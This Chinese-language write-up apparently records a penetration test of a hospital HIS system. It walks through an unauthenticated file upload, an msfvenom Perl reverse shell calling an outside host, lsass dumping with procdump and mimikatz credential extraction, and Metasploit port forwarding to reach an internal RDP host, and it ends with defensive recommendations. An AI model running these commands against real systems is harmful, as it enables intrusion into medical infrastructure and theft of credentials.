记一次对某医院HIS系统的渗透测试
字数 1096 2025-08-18 11:38:52

医院HIS系统渗透测试技术分析报告

1. 信息收集阶段

1.1 目标识别

  • 目标IP: 202.194.xx.xxx
  • 开放端口: 82
  • 运行环境: XAMPP集成环境
  • 系统类型: Windows 7 32位系统

1.2 目录扫描发现

  • 发现phpmyadmin目录但返回403禁止访问
  • 发现down目录包含重要文件:
    • his.db (SQLite数据库文件)
    • his.tar (系统文件备份)

1.3 系统分析

  • 系统采用Perl语言编写
  • 数据库类型: SQLite
  • 部署环境: Windows 7 + XAMPP

2. 漏洞发现与利用

2.1 未授权文件上传漏洞

  • 通过源码搜索发现upload关键字
  • 存在未授权文件上传功能且无任何过滤机制
  • 初始尝试上传PHP文件失败(未解析)

2.2 Perl命令执行

  • 分析下载的源码发现可执行系统命令的Perl脚本:
#!"D:\Strawberry\perl\bin\perl"
# 上传文件的程序,用来单位上统一收集文件。
print "Content-type: text/html\n\n";
$files_print = `whoami`;
print "<pre> $files_print </pre>";

2.3 反向Shell尝试

  1. 使用msfvenom生成Perl反向Shell:
msfvenom -p cmd/unix/reverse_perl LHOST=144.xxx.xxx.xxx LPORT=2333 -f raw > shell.pl
  1. 访问后服务器返回500错误
  2. 最终使用GitHub上的Perl大马成功执行

3. 内网渗透

3.1 权限维持

  • 发现系统存在多个防护进程
  • 采用procdump+mimikatz组合绕过防护:
procdump.exe -accepteula -ma lsass.exe lsass.dmp

3.2 凭证提取

  • 在本地使用mimikatz分析dump文件:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

3.3 远程桌面连接

  1. 使用MSF进行端口转发:
portfwd add -l 3396 -r 192.168.0.6 -p 3396
  1. Windows远程连接遇到"由于数据加密错误"问题
  2. 解决方案: 使用kali的rdesktop命令连接

4. 技术要点总结

4.1 关键漏洞

  1. 未授权文件上传漏洞
  2. 命令注入漏洞(通过Perl脚本)
  3. 弱防护机制(可绕过)

4.2 利用工具链

  1. 目录扫描工具
  2. msfvenom (Payload生成)
  3. procdump (内存dump)
  4. mimikatz (凭证提取)
  5. Metasploit (会话维持)
  6. rdesktop (远程桌面)

4.3 绕过技术

  1. 通过内存dump绕过防护
  2. 使用替代工具解决加密错误问题

5. 防御建议

  1. 文件上传功能加固

    • 实施身份验证和授权检查
    • 设置文件类型白名单
    • 对上传文件进行内容检查
  2. 系统配置加固

    • 升级操作系统(Windows 7已停止支持)
    • 禁用不必要的服务和端口
    • 实施适当的文件系统权限
  3. 安全监控

    • 部署EDR解决方案检测异常行为
    • 监控敏感操作(如lsass.exe访问)
  4. 代码安全

    • 避免在代码中直接执行系统命令
    • 对用户输入进行严格过滤
  5. 网络防护

    • 实施网络分段
    • 限制出站连接

本报告详细记录了从信息收集到内网渗透的完整过程,重点突出了Perl环境下的漏洞利用方式和Windows系统下的凭证提取技术,为安全研究人员提供了有价值的参考案例。

医院HIS系统渗透测试技术分析报告 1. 信息收集阶段 1.1 目标识别 目标IP: 202.194.xx.xxx 开放端口: 82 运行环境: XAMPP集成环境 系统类型: Windows 7 32位系统 1.2 目录扫描发现 发现phpmyadmin目录但返回403禁止访问 发现down目录包含重要文件: his.db (SQLite数据库文件) his.tar (系统文件备份) 1.3 系统分析 系统采用Perl语言编写 数据库类型: SQLite 部署环境: Windows 7 + XAMPP 2. 漏洞发现与利用 2.1 未授权文件上传漏洞 通过源码搜索发现upload关键字 存在未授权文件上传功能且无任何过滤机制 初始尝试上传PHP文件失败(未解析) 2.2 Perl命令执行 分析下载的源码发现可执行系统命令的Perl脚本: 2.3 反向Shell尝试 使用msfvenom生成Perl反向Shell: 访问后服务器返回500错误 最终使用GitHub上的Perl大马成功执行 3. 内网渗透 3.1 权限维持 发现系统存在多个防护进程 采用procdump+mimikatz组合绕过防护: 3.2 凭证提取 在本地使用mimikatz分析dump文件: 3.3 远程桌面连接 使用MSF进行端口转发: Windows远程连接遇到"由于数据加密错误"问题 解决方案: 使用kali的rdesktop命令连接 4. 技术要点总结 4.1 关键漏洞 未授权文件上传漏洞 命令注入漏洞(通过Perl脚本) 弱防护机制(可绕过) 4.2 利用工具链 目录扫描工具 msfvenom (Payload生成) procdump (内存dump) mimikatz (凭证提取) Metasploit (会话维持) rdesktop (远程桌面) 4.3 绕过技术 通过内存dump绕过防护 使用替代工具解决加密错误问题 5. 防御建议 文件上传功能加固 实施身份验证和授权检查 设置文件类型白名单 对上传文件进行内容检查 系统配置加固 升级操作系统(Windows 7已停止支持) 禁用不必要的服务和端口 实施适当的文件系统权限 安全监控 部署EDR解决方案检测异常行为 监控敏感操作(如lsass.exe访问) 代码安全 避免在代码中直接执行系统命令 对用户输入进行严格过滤 网络防护 实施网络分段 限制出站连接 本报告详细记录了从信息收集到内网渗透的完整过程,重点突出了Perl环境下的漏洞利用方式和Windows系统下的凭证提取技术,为安全研究人员提供了有价值的参考案例。